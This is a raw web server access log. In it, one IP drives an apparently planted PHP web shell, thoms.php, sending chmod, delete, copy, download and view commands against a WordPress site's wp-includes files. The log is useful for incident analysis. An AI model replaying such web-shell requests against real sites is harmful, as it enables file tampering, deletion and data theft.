45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?chmod=rss-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 200 13229 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /bestzyx.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 200 39099 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 200 16466 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 200 13380 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?del=default-constants.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59336 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?del=version.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59351 "http://163.245.207.76:443/thoms.php?del=version.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /bestzyx.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?chmod=interactivity-api&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?chmod=compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:12 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59316 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /thoms.php?chmod=style-engine&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /thoms.php?dl=https-migration.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59316 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /thoms.php?dl=icons.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /bestzyx.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1351 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /bestzyx.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:13 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 200 25556 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 200 14946 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?del=class-walker-page.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 200 18771 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?chmod=blocks&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?del=post-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59296 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 200 15883 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:14 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdeprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fdeprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 200 19816 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /bestzyx.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /bestzyx.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 200 21019 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?del=robots-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59326 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?del=class-wp-post.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59301 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:16 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?del=class-wp-http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59326 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:15 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:16 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 200 12617 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 200 14738 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:16 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59323 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:16 -0400] "GET /thoms.php?dl=block-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:16 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?chmod=rewrite.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:16 -0400] "GET /thoms.php?dl=ms-files.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59295 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 200 15147 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 200 16062 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 200 12760 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 200 15843 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 200 21590 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?del=script-modules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59293 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 200 13979 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:17 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
